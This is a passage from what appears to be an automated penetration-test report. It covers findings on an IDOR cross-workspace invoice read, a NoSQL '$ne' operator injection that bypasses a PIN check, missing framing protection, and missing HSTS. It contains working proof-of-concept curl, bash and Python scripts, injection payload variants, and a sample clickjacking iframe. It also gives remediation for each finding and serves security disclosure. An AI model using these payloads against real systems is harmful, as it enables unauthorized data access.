2. Confirm the listing is workspace-scoped and learn your own sequential invoice ID: `curl -sS -b XXXXXX "XXXXXX" # → {"items":[{"id":"3101","workspace":"alpha",...}]}`
3. Request the next sequential ID, which belongs to workspace `beta`: `curl -sS -b XXXXXX "XXXXXX" # → 200 {"amount":7200,"detail":"PROOF{XXXXXX}","id":"3102","reference":"XXXXXX-26-102","workspace":"beta"}`
4. (Optional) Confirm the tenancy boundary exists elsewhere: `POST XXXXXX` with `{"query":"{ workspace(id: \"beta\") { name } }"}` returns `"workspace not accessible"` while the REST detail endpoint returns the object.
5. (Optional) Confirm enumeration ease: probe `3100`, `9999`, `abc` — each returns `404 {"message":"Invoice not found.","ok":false}`, so valid IDs are unambiguously distinguishable.

Evidence

Executed-live outputs from the assessment run (curl, session `jar_a`, run `XXXXXX`):

TECHNICAL EVIDENCE

```
## invoice id probes (read-only)
  XXXXXX -> 200-404 52 :: { "message": "Invoice not found.", "ok": false }
  XXXXXX -> __200 143 :: { "amount": 7200, "detail": "PROOF{XXXXXX}",
                                      "id": "3102", "reference": "XXXXXX-26-102", "workspace": "beta" }
  XXXXXX -> __404 52 :: { "message": "Invoice not found.", "ok": false }
  XXXXXX   -> __404 52 :: { "message": "Invoice not found.", "ok": false }
  XXXXXX -> __200 89 :: { "amount": 4800, "id": "3101", "reference": "XXXXXX-26-101", "workspace": "alpha" }
## invoice enumeration breadth
  invoice 3103 -> __404 52 :: { "message": "Invoice not found.", "ok": false }
  invoice 3104 -> __404 52 :: { "message": "Invoice not found.", "ok": false }
```

Listing baseline (workspace-scoped):

TECHNICAL EVIDENCE

```
GET XXXXXX -> __200 251 application/json; charset=utf-8
  {"items":[{"id":"3101","workspace":"alpha",...}]}
```

GraphQL contrast (same session, resolver enforces tenancy):

TECHNICAL EVIDENCE

```
workspace("beta")  -> __200 :: {"data":{"workspace":null},"errors":[{"message":"workspace not
accessible",...}]}
workspace("alpha'")-> __200 :: {"data":{"workspace":null},"errors":[{"message":"workspace not
accessible",...}]}
```

Note on evidence binding: automatic HTTP-traffic binding was disabled for this run, so the finding's traffic list is empty; the excerpts above are the verbatim recorded command outputs from the executing work (worker-trace steps 17255/17260 and 17368/17369 of intent 638), not reconstructed traffic.

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# BOLA/IDOR PoC: anonymous cross-workspace invoice read (XXXXXX app)
BASE="XXXXXX"
JAR=$(mktemp)

# 1) obtain anonymous session (auto-assigned workspace "alpha")
curl -sS -c "$JAR" "$BASE/" -o XXXXXX

# 2) own-workspace listing (baseline)
echo "--- listing (workspace-scoped) ---"
curl -sS -b "$JAR" "$BASE/api/invoices"; echo

# 3) cross-workspace read: alpha session reading beta's invoice 3102
echo "--- IDOR: XXXXXX (workspace beta) ---"
curl -sS -b "$JAR" "$BASE/api/invoices/3102"; echo

# 4) enumeration negatives (404 vs 200 makes ID space enumerable)
for id in 3100 9999 abc; do
  printf "%s -> " "$id"; curl -sS -b "$JAR" -o XXXXXX -w "%{http_code}\n" "$BASE/api/invoices/$id"
done
```

Expected result: step 3 prints workspace `beta`'s invoice with its `detail` field (`PROOF{...}`), while the session belongs to workspace `alpha` and no credentials were supplied.

Root cause analysis

The detail endpoint resolves the invoice purely by the path-supplied ID and serializes it without filtering on the caller's workspace. The intended tenancy model is clearly implemented in sibling code paths — the invoice listing scopes items to the caller's workspace, and the GraphQL `workspace(id:)` resolver rejects foreign IDs with `"workspace not accessible"` — so the defect is a missing object-level authorization check (CWE-639) on one REST handler, not an absent tenancy model. The sequential, publicly observable ID scheme (3101, 3102, ...) combined with a hard `404` vs `200` distinction removes any remaining barrier to enumeration.

Remediation

1. **Enforce the workspace check on the detail handler** (primary fix): after resolving `{id}`, reject any invoice whose `workspace` does not match the caller's session workspace — ideally with the same helper the GraphQL resolver uses, returning `404` (to avoid confirming existence) for foreign objects.

2. **Centralize object-level authorization**: apply a single "load-or-404-for-foreign-tenant" policy to all `XXXXXX}XXXXXX}` REST routes so new endpoints inherit it by default, rather than relying on each handler remembering the check.
3. **Reduce ID enumerability** (defense in depth): prefer opaque, non-sequential public identifiers (e.g. UUIDv4 or random tokens) for invoices exposed via the API; if sequential IDs must remain, avoid `404`-vs-`200` distinguishability for foreign objects by returning the same `404` shape either way (the fix in item 1 achieves this).
4. **Regression test**: add an automated test asserting that a session from workspace `alpha` receives `404` (not the object) for each other workspace's invoice ID, mirroring the existing GraphQL `"workspace not accessible"` behavior.

TECHNICAL FINDING / F-026

MEDIUM

NoSQL-style operator injection on support-case lookup bypasses PIN check

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#26	Pending	XXXXXX

NoSQL-style operator injection on XXXXXX bypasses the support-case PIN check

Task #13 · Finding node 642 · standalone record 99 · vulnclass `nosql_injection` · severity medium · asset 1590 (XXXXXX app)

Overview

The XXXXXX application's support-case lookup (`POST XXXXXX` on `XXXXXX`) accepts its `selector` form field as a JSON dict and evaluates it with an operator-aware matcher that honors `$ne`. Supplying `pin: {"$ne": <any>}` turns the PIN equality check into an always-true condition, so any anonymous visitor can read the PIN-protected support case **SUP-481** — including its internal note and receipt marker `PROOF{XXXXXX}` — without knowing the PIN.

Impact

- **Authentication bypass on a business function.** The PIN gate on support-case lookup is defeated with a single crafted request. The disclosed record contains internal support data (case ID `SUP-481`, internal note, workflow state `internal review`, and a receipt marker).
- **The injection is the *practical* access path.** The credentials pre-filled in the `XXXXXX` page form (`{"email":"XXXXXX","pin":"your-support-pin"}`) are rejected with 403 — the displayed PIN is a placeholder, not the real one. Every legitimate-looking baseline attempt failed in testing (403). In effect, the only thing between an anonymous visitor and the record is the bypassable operator check.
- **Preconditions are trivial.** The endpoint requires a session cookie (`XXXXXX`) and a `_csrf` form token, but both are freely issued to any anonymous visitor by the public `XXXXXX` page. No account, login, or privilege is needed.
- **Read-only.** The lookup performed no state change in ~27 bounded probes; the response returns a single case object. Broader enumeration of other cases was **not demonstrated** (see Measured impact).
- **Severity: medium.** Anonymous authentication bypass with disclosure of internal support data justifies more than *low*; it stays below *high* because the endpoint is read-only, only one record's disclosure was demonstrated, no credentials/sessions were taken over, and the affected data is a synthetic support record rather than customer PII or payment data.

Measured impact

Executed **live**, anonymously, XXXXXX (intent 637, work#1). All numbers below come from the verbatim probe log (`XXXXXX`, lines 44–83):

- **6 of 8** distinct `$ne`-operator selector variants tested returned the PIN-protected record with HTTP 200 without knowledge of the PIN (discovery payload `{"email":{"$ne":null},"pin":{"$ne":null}}`, plus 5 of the 7 characterization-round variants: `$ne:"x"` pair, `pin`-only `$ne:null`, `$ne:1` pair, `$ne:""` pair, extra-unknown-key variant). The 2 rejected `$ne` variants were `{"email":{"$ne":null},"pin":"your-support-pin"}` (operator on email alone does not bypass a wrong *literal* PIN) and the `EMAIL` wrong-case-key variant (keys are case-sensitive).
- **3 of 3** non-`$ne` operator variants (`$gt`, `$regex`, `$where`) were correctly rejected with 403 — the injectable surface is specifically `$ne`.
- **1 protected record disclosed per successful query**: `SUP-481` with note "Synthetic internal support record", state "internal review", receipt `PROOF{XXXXXX}`.
- **13 of 13** raw-JSON-body attempts (Content-Type: application/json, token sent as cookie-only session) were blocked by CSRF enforcement ("The form token is missing or expired.") — the selector must travel as a urlencoded **form field**; this is the only defense that held.
- **Negative control held**: the page's own pre-filled credentials → 403, proving the PIN gate exists and that the 200 responses are a genuine bypass, not the normal path.
- **Not measured XXXXXX unverified**: whether additional support cases exist and can be enumerated by pairing other email values with a `$ne` PIN (a literal unknown email with the placeholder PIN gave 403; the `$ne`-PIN + other-email combination was outside the bounded probe budget). Only the single record SUP-481 was observed.

Affected scope

- **Asset**: XXXXXX application at `XXXXXX` (asset 1590).
- **Endpoint XXXXXX method**: `POST XXXXXX`.
- **Parameter**: form field `selector` (a JSON string in a urlencoded body). Values of the `email` and `pin` keys are interpreted as matcher documents and honor `{"$ne": ...}`.
- **Required companions** (public, not a barrier): `XXXXXX` session cookie and `_csrf` hidden form field from `XXXXXX`.
- **Not affected**: `$gt`XXXXXX`$regex`XXXXXX`$where` operators (rejected 403); malformed/non-JSON/empty `selector` (rejected 400 "Supply a valid selector."); SQL-injection markers inside JSON string values (403 — no SQLi on this endpoint). The SQL injection on `GET XXXXXX` is a **separate finding** (node 641 XXXXXX record 98, `sql_injection`) — different endpoint and class, not merged here.

Reproduction steps

1. Open `GET XXXXXX` in a fresh session (or with a cookie jar). Keep the `XXXXXX` cookie and copy the `_csrf` hidden-input value from the "Support case lookup" form.
2. **Negative control** — replay the page's own pre-filled credentials as a urlencoded form POST; expect 403: ``` POST XXXXXX HTTP/1.1 Host: XXXXXX Content-Type: application/x-www-form-urlencoded Cookie: XXXXXX Origin: XXXXXX Referer: XXXXXX

_csrf=&selector={"email":"XXXXXX","pin":"your-support-pin"} → `403 {"message":"The address and support PIN did not match.","ok":false}` 3. **Bypass** — same request, selector replaced with operator dicts: _csrf=&selector={"email":{"$ne":null},"pin":{"$ne":null}} `` (decoded:{"email":{"$ne":null},"pin":{"$ne":null}}) →200 {"case":"SUP-481","note":"Synthetic internal support record","receipt":"PROOF{XXXXXX}","state":"internal review"}4. Optional characterization:{"email":"XXXXXX","pin":{"$ne":null}}also returns 200 (the PIN check alone is

bypassable once the email matches);{"EMAIL":{"$ne":null},...}→ 403;{"email":{"$gt":""},...}XXXXXX$regexXXXXXX$where→ 403; non-JSON selector → 400. 5. Notes: sendselector` as a **form field**, not a JSON body (a raw JSON body fails CSRF with "The form token is missing or expired."). Keep request rate low (~0.2 s spacing was used); the lookup is read-only.

Evidence

No HTTP traffic bindings exist for this finding (auto-binding off; `get_finding_traffic(99)` → version 0, `bindings: []`). The evidence below is from the executed-live probe run preserved in the task artifacts: probe log XXXXXX (lines 44–83), probe harness XXXXXX, worker-trace steps 17326–17355 (intent 637).

Verbatim probe-log excerpts (tag LOOKUP = urlencoded form field with valid `_csrf`; tag LOOKUP2 = characterization round):

TECHNICAL EVIDENCE

```
[LOOKUP]  POST XXXXXX [baseline]     :: 403 :: {"message": "The address and support PIN did not match.",
"ok": false}
[LOOKUP]  POST XXXXXX [ne-null]      :: 200 :: {"case": "SUP-481", "note": "Synthetic internal support
record", "receipt": "PROOF{XXXXXX}", "state": "internal review"}
[LOOKUP]  POST XXXXXX [gt-empty]     :: 403 :: {"message": "The address and support PIN did not match.",
"ok": false}
[LOOKUP]  POST XXXXXX [regex-all]    :: 403 :: {"message": "The address and support PIN did not match.",
"ok": false}
[LOOKUP]  POST XXXXXX [where]        :: 403 :: {"message": "The address and support PIN did not match.",
"ok": false}
[LOOKUP]  POST XXXXXX [wrong-pin]    :: 403 :: {"message": "The address and support PIN did not match.",
"ok": false}
[LOOKUP]  POST XXXXXX [not-json]     :: 400 :: {"message": "Supply a valid selector.", "ok": false}
[LOOKUP]  POST XXXXXX [malformed]    :: 400 :: {"message": "Supply a valid selector.", "ok": false}
[LOOKUP2] POST XXXXXX [ne-str]       :: 200 :: {"case": "SUP-481", ... "receipt": "PROOF{XXXXXX}" ...}
[LOOKUP2] POST XXXXXX [ne-email-only]:: 403 :: {"message": "The address and support PIN did not match.",
"ok": false}
[LOOKUP2] POST XXXXXX [ne-pin-only]  :: 200 :: {"case": "SUP-481", ...}
[LOOKUP2] POST XXXXXX [ne-nonnull]   :: 200 :: {"case": "SUP-481", ...}
[LOOKUP2] POST XXXXXX [ne-empty-str] :: 200 :: {"case": "SUP-481", ...}
[LOOKUP2] POST XXXXXX [ne-case]      :: 403 :: {"message": "The address and support PIN did not match.",
"ok": false}
[LOOKUP2] POST XXXXXX [ne-extra-key] :: 200 :: {"case": "SUP-481", ...}
```

First round (LOOKUP-JSON, raw JSON body without the form token) — all 13 probes blocked by CSRF, confirming token enforcement:

TECHNICAL EVIDENCE

```
[LOOKUP-JSON] POST XXXXXX [baseline-json] :: 403 :: {"message": "The form token is missing or expired.",
"ok": false}
[LOOKUP-JSON] POST XXXXXX [ne-null]       :: 403 :: {"message": "The form token is missing or expired.",
"ok": false}
... (13/13 identical)
```

The vulnerable input as shipped — XXXXXX page form (from XXXXXX); note the pre-filled placeholder credentials that fail baseline auth:

TECHNICAL EVIDENCE

```
<section class=panel><h2>Support case lookup<XXXXXX>
<p class=fine>Supply the address and PIN associated with your support case.<XXXXXX>
<form method=post action=".XXXXXX">
<input type=hidden name=_csrf value="XXXXXX">
<label>Case selector<textarea name="selector">{"email":"XXXXXX","pin":"your-support-pin"}<XXXXXX><XXXXXX>
<button type=submit>Find support case<XXXXXX><XXXXXX><XXXXXX>
```

PoC

Self-contained Python 3 (stdlib only), read-only. Fetches its own session + CSRF token from XXXXXX, then demonstrates the 403 baseline and the 200 bypass:

TECHNICAL EVIDENCE

```
#!XXXXXX python3
"""PoC: $ne operator injection bypasses the PIN check on
POST XXXXXX (XXXXXX app, XXXXXX). Read-only."""
import XXXXXX, re, XXXXXX, XXXXXX, XXXXXX

BASE = "XXXXXX"

cj = XXXXXX()
opener = XXXXXX.build_opener(XXXXXX(cj))

# 1) GET XXXXXX -> session cookie (XXXXXX) + _csrf from the lookup form
html = XXXXXX(BASE + "XXXXXX", timeout=20).read().decode()
csrf = XXXXXX(r'name=_csrf value="([0-9a-f]+)"', html).group(1)

def lookup(selector_json):
    data = XXXXXX({"_csrf": csrf, "selector": selector_json}).encode()
    req = XXXXXX(BASE + "XXXXXX", data=data, headers={
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": "XXXXXX",
        "Referer": BASE + "XXXXXX",
    }, method="POST")
    try:
        r = XXXXXX(req, timeout=20); return XXXXXX, XXXXXX().decode()
    except XXXXXX as e:
        return XXXXXX, XXXXXX().decode()

# 2) Negative control: the credentials pre-filled on XXXXXX are rejected
print(lookup('{"email":"XXXXXX","pin":"your-support-pin"}'))   # -> (403, '{"message": "The address and
support PIN did not match.", ...}')
# 3) $ne operator injection -> PIN comparison always true
print(lookup('{"email":{"$ne":null},"pin":{"$ne":null}}'))                # -> (200, '{"case": "SUP-481",
"note": ..., "receipt": "PROOF{...}", "state": "internal review"}')
```

If a standalone script is not convenient, the reproduction steps above (two form-encoded POSTs differing only in the `selector` value) are the PoC.

Root cause analysis

- **User-controlled JSON is passed into an operator-aware matcher.** The endpoint parses the `selector` form field with a JSON parser and evaluates the credential check with MongoDB-style query semantics. Because `pin: {"$ne": X}` is honored, the equality test "XXXXXX == provided" becomes "XXXXXX != X", which is true for *any* X — an always-true condition. The same applies to `email`, so `{"$ne":null}` on both fields matches the record unconditionally.
- **Partial operator filtering.** `$gt`, `$regex` and `$where` are *not* honored (403), which suggests the implementation attempts to sanitize operators but the `$ne` case slipped through — a classic incompleteness failure of deny-list style filtering.
- **No type/schema coercion.** Dict values are accepted for scalar fields, unknown keys are tolerated, and the check is evaluated inside the same matcher rather than in application code with exact, constant-time comparison of scalar strings.

Remediation

1. **Strict input schema (primary fix).** After parsing `selector`, require the exact expected keys and coerce/validate values as plain scalars: `isinstance(email, str) and isinstance(pin, str)`; reject dicts/lists/arrays with `400 "Supply a valid selector."`. This alone kills the entire operator-injection class on this endpoint.
2. **Never pass user dicts into the query engine.** Build the lookup in application code: fetch the record by exact email (`{"email": str(email)}`), then verify the PIN separately with a constant-time comparison (`hmac.compare_digest`) — do not fold the PIN into the matcher document.
3. **If operators must be supported at all**, allow-list them explicitly and document the supported set; treat anything else (including `$ne` unless intended) as a literal string or reject it.
4. **Store PINs hashed** (per-record salt) so a matching/comparison layer never sees recoverable plaintext PINs.
5. **Rate-limit** `XXXXXX` per session and IP (the generic 403 message is already good — keep it); consider requiring a short delay/lockout after repeated failures.
6. **Regression tests.** Add cases asserting that operator payloads (`$ne`XXXXXX`$gt`XXXXXX`$regex`XXXXXX`$where`, nested dicts, arrays, non-string types, unknown keys, wrong-case keys) never authenticate and are either rejected or treated as literals; include the exact payloads from this report.
7. **Fix the** `XXXXXX` **page UX.** The pre-filled example credentials are rejected with 403 — either ship working demo credentials or clearly label the pre-fill as a format example. As shipped, the only working access path to the feature is the injection itself.
8. **Minimize response data.** Consider whether internal workflow state and receipt markers need to be returned by an anonymous lookup at all.

TECHNICAL FINDING / F-006

LOW

Main site lacks all framing protection (no CSP, no frame-ancestors, no X-Frame-Options) — frameable in a real browser; token-less lead form exposed to clickjacking-style framing

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#6	Pending	XXXXXX

Overview

The main public site at XXXXXX (including its lead-capture pages such as XXXXXX) ships **no framing protection whatsoever** — no `Content-Security-Policy` header (hence no `frame-ancestors`), no `X-Frame-Options`, and no `<meta http-equiv>` CSP tag — and a real-browser test (Chrome Headless Shell 156) confirmed the site **renders inside a cross-origin iframe with zero violations**. The site's anonymous multi-step lead form (`POST XXXXXX`) carries no CSRF token, so the frameability exposes the lead pipeline to clickjacking-style framing (e.g. hidden/overlaid forced lead submissions), though the cross-site exploit itself was not executed (no controlled test origin authorized for this engagement).

Vulnerability class: Clickjacking XXXXXX missing framing protection (CWE-1022). Severity: **low**.

Impact

Any third-party web page can transparently embed the main site and interact with it frame-by-frame. The concrete business exposure is the XXXXXX-matching **lead-capture pipeline**: the XXXXXX form posts anonymously to XXXXXX with only client-side protections (honeypot field `website` + client-computed timing field `submitted_after`, per fact 651 — no server-side token). A framing page could therefore in principle:

- drive **hidden or overlaid lead submissions** (lead fraud/spam polluting the matching pipeline, degrading lead quality and any per-lead downstream costs), or
- perform **clickjacking UI redressing** of any main-site page (e.g. tricking a visitor into clicking framed UI elements under a decoy overlay).

Impact is **bounded**: the main site exposes no authenticated session or credential surface (no login on the main site), so no account takeover or data-theft path via framing was identified. Notably, the two application surfaces on the same origin are **not affected** — XXXXXX and XXXXXX both send `frame-ancestors 'none'` and were browser-confirmed blocked (positive controls in the same test run).

Measured impact

- **1 of 3 same-origin surfaces is frameable**: in a headless-Chromium framing test (local `data:` URL parent, one iframe per run), the main site (`XXXXXX`) loaded in the iframe with **0 console violations**, no document request failure, and its subresources (`XXXXXX`, hero image) loaded normally = rendered (executed live).
- **2 of 2 positive controls were correctly blocked**: XXXXXX `XXXXXX` and XXXXXX `XXXXXX` each produced the console violation `Framing 'XXXXXX' violates ... "frame-ancestors 'none'"` plus `net::ERR_BLOCKED_BY_RESPONSE` — proving the test harness detects framing protection and the main-site result is a genuine absence of control, not a test artifact (executed live).
- **Header check: 0 of 2 framing-relevant headers present** on `GET XXXXXX` (no `Content-Security-Policy`, no `X-Frame-Options`); grep of `main_index.html` and `XXXXXX` found **0** `<meta http-equiv>` CSP tags.
- **Framed forced-submission exploit: 0 of 0 executed.** The end-to-end clickjacking exploit (framed form auto-submission) was deliberately not run: no controlled/attacker test origin is authorized for this engagement and the lead-form submission budget was reserved. Exposure is therefore *verified frameability + verified tokenless form*, with the combined exploit unexecuted (static reasoning only).

Affected scope

- **Affected**: main static/lead pages served by nginx at the origin root — `XXXXXX`, `XXXXXX`, and all other lead-capture city pages (no CSP, no `X-Frame-Options`, no meta-CSP; static asset responses likewise carry no framing header).
- **Exposure amplifier**: the anonymous lead form `POST XXXXXX` (`<form class="XXXXXX XXXXXX XXXXXX" action="XXXXXX" method="post" novalidate XXXXXX>` on `XXXXXX`) — no CSRF token, client-side honeypot/timing only.
- **Not affected (verified controls)**: XXXXXX app (`XXXXXX`) and XXXXXX app (`XXXXXX`) — both emit CSP `frame-ancestors 'none'` and were browser-confirmed blocked.

Reproduction steps

1. **Header check (no browser needed)**: `curl -sS -D - -o XXXXXX XXXXXX` Observe the response headers: `Server: nginx`, `X-Content-Type-Options: nosniff`, `Referrer-Policy`, `Permissions-Policy` are present, but there is **no** `Content-Security-Policy` and **no** `X-Frame-Options` line. Repeat for `XXXXXX` and for any static asset — same absence. Also grep the HTML for `<meta http-equiv` — zero CSP meta tags.
2. **Browser framing test (real render proof)** — run the PoC script below (playwright + Chrome Headless Shell): it loads a local `data:` URL parent embedding iframes of the three same-origin surfaces.
3. **Expected result**: the `main` iframe renders (no console CSP/XFO violations, subresources load), while the `XXXXXX` and `XXXXXX` control iframes are blocked with `frame-ancestors 'none'` violations and `net::ERR_BLOCKED_BY_RESPONSE` — demonstrating the harness discriminates and the main site is genuinely frameable.
4. **(Unexecuted by design) full clickjacking exploit**: serve a decoy page from an attacker-controlled origin that embeds `XXXXXX` in an opacity-reduced or overlay-hidden iframe and drives the multi-step form's next/submit controls with invisibly aligned decoy buttons. This step was not executed: no controlled test origin was authorized for this engagement and the lead-form submission budget was reserved for the assessment's primary flows.

Evidence

1. Raw response headers of `GET XXXXXX` (workdir artifact `main_headers.txt`, captured XXXXXX GMT):

TECHNICAL EVIDENCE

```
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html
Content-Length: 6911
Last-Modified: Thu, 18 Jun 2026 15:50:17 GMT
ETag: "6a3413b9-1aff"
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Accept-Ranges: bytes
```

→ No `Content-Security-Policy`, no `X-Frame-Options`. Grep of `main_index.html` and `XXXXXX`: **zero** `<meta http-equiv>` CSP tags.

2. Browser framing test results (Chrome Headless Shell 156.0.8078.4 via playwright; local `data:` URL parent; one iframe per run; third-party requests route-blocked):

TECHNICAL EVIDENCE

```
{"target": "main", "console": [], "requestfailures": ["net::ERR_ABORTED"], "frame": {"hasCW": true, "len":
0}}
{"target": "XXXXXX",  "console": ["Framing 'XXXXXX' violates the following Content Security Policy directive:
 \"frame-ancestors 'none'\". The request has been blocked."], "requestfailures":
["net::ERR_BLOCKED_BY_RESPONSE"], "frame": {"hasCW": true, "len": 0}}
{"target": "XXXXXX",  "console": ["Framing 'XXXXXX' violates the following Content Security Policy directive:
 \"frame-ancestors 'none'\". The request has been blocked."], "requestfailures":
["net::ERR_BLOCKED_BY_RESPONSE"], "frame": {"hasCW": true, "len": 0}}
```

`main` shows **zero** console violations (the single `net::ERR_ABORTED` is the route-blocked third-party gtag request, not the document; the document and its same-origin subresources `XXXXXX` XXXXXX hero png loaded = iframe rendered). `XXXXXX` (XXXXXX `XXXXXX`) and `XXXXXX` (XXXXXX `XXXXXX`) are blocked — positive controls proving the test detects framing protection.

3. Tokenless lead form on `XXXXXX` (grep of served HTML):

TECHNICAL EVIDENCE

```
<form class="XXXXXX XXXXXX XXXXXX" action="XXXXXX" method="post" novalidate XXXXXX>
```

No CSRF-token input; per fact 651 the only anti-automation measures are the client-side honeypot field `website` and client-computed timing field `submitted_after`.

4. Contrast — XXXXXX's framing control (same capture session, `support_headers.txt`):

TECHNICAL EVIDENCE

```
Content-Security-Policy: sandbox allow-scripts allow-forms allow-modals allow-downloads; default-src 'none';
... frame-ancestors 'none'; form-action XXXXXX
```

This is the control the main site lacks.

Note on traffic binding: this finding is evidenced by header captures and browser-instrumentation output stored in the intent workdir (XXXXXX: main_headers.txt, support_headers.txt, framing-test outputs, BROWSER_VALIDATION_REGISTER.md §4/§6.3); no HTTP traffic bindings were recorded for it (binding list empty), which does not affect the evidence above.

PoC

The framing-test harness as executed (run with PLAYWRIGHT_BROWSERS_PATH pointed at the local playwright browser dir; requires pip install playwright and the chromium headless shell):

TECHNICAL EVIDENCE

```
#!XXXXXX python3
"""Framing test: local data: URL parent embedding iframes of the 3 same-origin surfaces.
Captures console refusals (XFO/frame-ancestors) and which iframe responses actually load."""
import json
from playwright.sync_api import sync_playwright

PARENT = (
    "data:text/html,<!doctype html><html><body>"
    "<iframe id=main width=300 height=200 src='XXXXXX'><XXXXXX>"
    "<iframe id=XXXXXX width=300 height=200 src='XXXXXX'><XXXXXX>"
    "<iframe id=XXXXXX width=300 height=200 src='XXXXXX'><XXXXXX>"
    "<XXXXXX><XXXXXX>"
)

console, loaded, failed = [], [], []
with sync_playwright() as p:
    b = XXXXXX(headless=True, args=['--no-sandbox', '--disable-dev-shm-usage'])
    pg = b.new_page()
    XXXXXX('**XXXXXX', lambda r: r.continue_() if 'XXXXXX' in XXXXXX else XXXXXX())
    XXXXXX('console', lambda m: XXXXXX({'type': XXXXXX, 'text': XXXXXX[:280]}))
    XXXXXX('response', lambda r: XXXXXX({'url': XXXXXX[:95], 'status': XXXXXX}) if 'XXXXXX' in XXXXXX else
None)
    XXXXXX('requestfailed', lambda r: XXXXXX({'url': XXXXXX[-70:], 'err': (XXXXXX or '?')[:80]}) if 'XXXXXX'
in XXXXXX else None)
    XXXXXX(PARENT, wait_until='load', timeout=30000)
    pg.wait_for_timeout(3000)
    state = XXXXXX("() => XXXXXX(XXXXXX('iframe')).map(f => ({id: XXXXXX, subframes: XXXXXX ? XXXXXX : -1,
docNull: XXXXXX === null}))")
    XXXXXX()

print(XXXXXX({'iframes': state, 'console': console, 'loaded': loaded, 'failed': failed}, indent=1))
```

Interpretation: main iframe loads and renders with an empty console; XXXXXXXXXXXXXXXXXXXX fail with net::ERR_BLOCKED_BY_RESPONSE + frame-ancestors violations. A minimal attacker parent page is simply <iframe src="XXXXXX" style="opacity:0"><XXXXXX> served from any origin — permitted today because the main site sends no framing headers.

Root cause analysis

- **nginx configuration gap**: the main site is served as static content (`Last-Modified`XXXXXX`ETag`XXXXXX`Accept-Ranges` on `GET XXXXXX`) from a `server`XXXXXX`location` block that sets several security headers (`X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy`) but was never given a `Content-Security-Policy` with `frame-ancestors` or an `X-Frame-Options` header. The `frame-ancestors 'none'` directive demonstrably exists on this origin — it is configured for the XXXXXX and XXXXXX application locations — so the control was simply not applied to the root/static/lead-capture paths. There is also no `<meta http-equiv="Content-Security-Policy">` fallback in the HTML.
- **Tokenless lead form amplifies the exposure**: `POST XXXXXX` relies solely on client-side defenses (honeypot `website`, timing `submitted_after`). With no server-side token and no framing protection on the pages hosting the form, nothing prevents a framing page from scripting or overlaying submissions into the lead pipeline.

Remediation

1. **Add framing protection at the nginx level** for the main-site `server`XXXXXX locations (one line each): `nginx add_header Content-Security-Policy "frame-ancestors 'none'" always; add_header X-Frame-Options "DENY" always;` Use `frame-ancestors 'self' <partners>` only if a legitimate embedding use case exists — none was observed; Google gtag/analytics does not require frameability. `X-Frame-Options` is belt-and-braces for legacy browsers that predate CSP. Mirror the pattern already proven on XXXXXX/XXXXXX.
2. **Add a server-side defense for the lead endpoint** so abuse does not hinge on framing alone: issue a per-session token (or at minimum validate `Origin`XXXXXX`Referer` against the site origin) on `POST XXXXXX`, and add server-side rate limiting XXXXXX duplicate-lead detection keyed on payload fields — the current honeypot + client-timing checks are trivially bypassed by any scripted or framed submitter.
3. **Hardening while touching the same nginx block** (related confirmed findings on this origin): add `Strict-Transport-Security` (missing on all three surfaces, finding 684/117) and keep XXXXXX/XXXXXX CSP as-is.
4. **Verification**: re-run the header check (step 1 of Reproduction) expecting both headers on `XXXXXX`, `XXXXXX`, and asset responses, and re-run the PoC harness expecting the `main` iframe to be blocked with a `frame-ancestors` violation + `net::ERR_BLOCKED_BY_RESPONSE`, matching the existing XXXXXX/XXXXXX positive-control output.

TECHNICAL FINDING / F-008

LOW

No HSTS on any same-origin surface (XXXXXX, XXXXXX, main site)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#8	Pending	XXXXXX

Missing HSTS on all same-origin surfaces of XXXXXX (XXXXXX, XXXXXX, main site)

Overview

No HTTP response from any of the three same-origin surfaces on XXXXXX — the XXXXXX target app, the adjacent XXXXXX app, or the main public site (including its static assets) — emits a `Strict-Transport-Security` header, so browsers never record an HSTS policy for the host and every "first connection" remains eligible for HTTP-downgrade interception by a network-level attacker.

Impact

Without HSTS, a browser that has never received an HTTPS response from this host holds no `Strict-Transport-Security` policy, and the protection relies entirely on the server's own `http→https` 301 redirect — which an on-path (MITM) attacker can simply suppress:

- **First-visit XXXXXX sslstrip downgrade window**: a user typing XXXXXX or following an `http://` link can be kept on plain HTTP for their entire first session. The XXXXXX app is an account-bearing application (sign-in, account recovery, MFA step-up, security vault), so a downgraded first session is a credential-phishing surface: the attacker can proxy the page over HTTP and harvest credentials entered into XXXXXX, XXXXXX, XXXXXX, or the security sign-in flow.
- **Cookie planting over HTTP**: during the downgrade window an attacker can set non-`Secure` cookies for the host, poisoning client-side state. Mitigating factor observed: the XXXXXX session cookie is issued `HttpOnly; Secure; SameSite=None` (verified in the XXXXXX capture below), so the app's own session cookie cannot be read or set over plain HTTP in modern browsers — the planting risk applies mainly to any future non-`Secure` cookies.
- **What is NOT at risk**: active stripping of established HTTPS connections. Per the assessment baseline (fact 661), the host speaks TLS 1.2/1.3 only and enforces `http→https` redirection, so there is no legacy-TLS fallback to force; the exposure is the pre-HSTS first-visit window, not connection downgrade of known-HTTPS users. There is no HSTS preload submission either, so even the preload-based first-visit protection is absent.

Severity: low. Rationale: the vulnerability is a missing defense-in-depth control, exploitation requires an on-path network position (out of scope for this unauthenticated web assessment, no MITM was executed), the strong TLS posture and `Secure` cookie flags already remove the worst variants of the attack, and the residual window is limited to users who have never seen an HTTPS response from the host.

Measured impact

- **0 of 4** freshly captured responses emitted `Strict-Transport-Security`: XXXXXX `GET XXXXXX` (200), main site `GET XXXXXX` (200), XXXXXX `GET XXXXXX` (200), and main-site static asset `GET XXXXXX` (200) — i.e. 0 of 3 application surfaces plus 1 static asset, across both HTML and JavaScript content types.
- `grep -il strict-transport *.txt` over all four header files returned **no match** ("NO Strict-Transport-Security on any captured response").
- Corollary measurement: zero HSTS policy state can exist in any visitor's browser for this host (nothing is ever sent to cache).
- No downgrade exploit was executed: demonstrating real sslstrip/cookie-planting harm requires an on-path MITM position, which is outside the authorized scope. Proof basis for the absence itself: **executed-live header inspection** (control verification, not an exploit), independently corroborated by the earlier task baseline fact 661 ("gaps = no HSTS anywhere") recorded during intent 639.

Affected scope

Surface	URL	Verified response
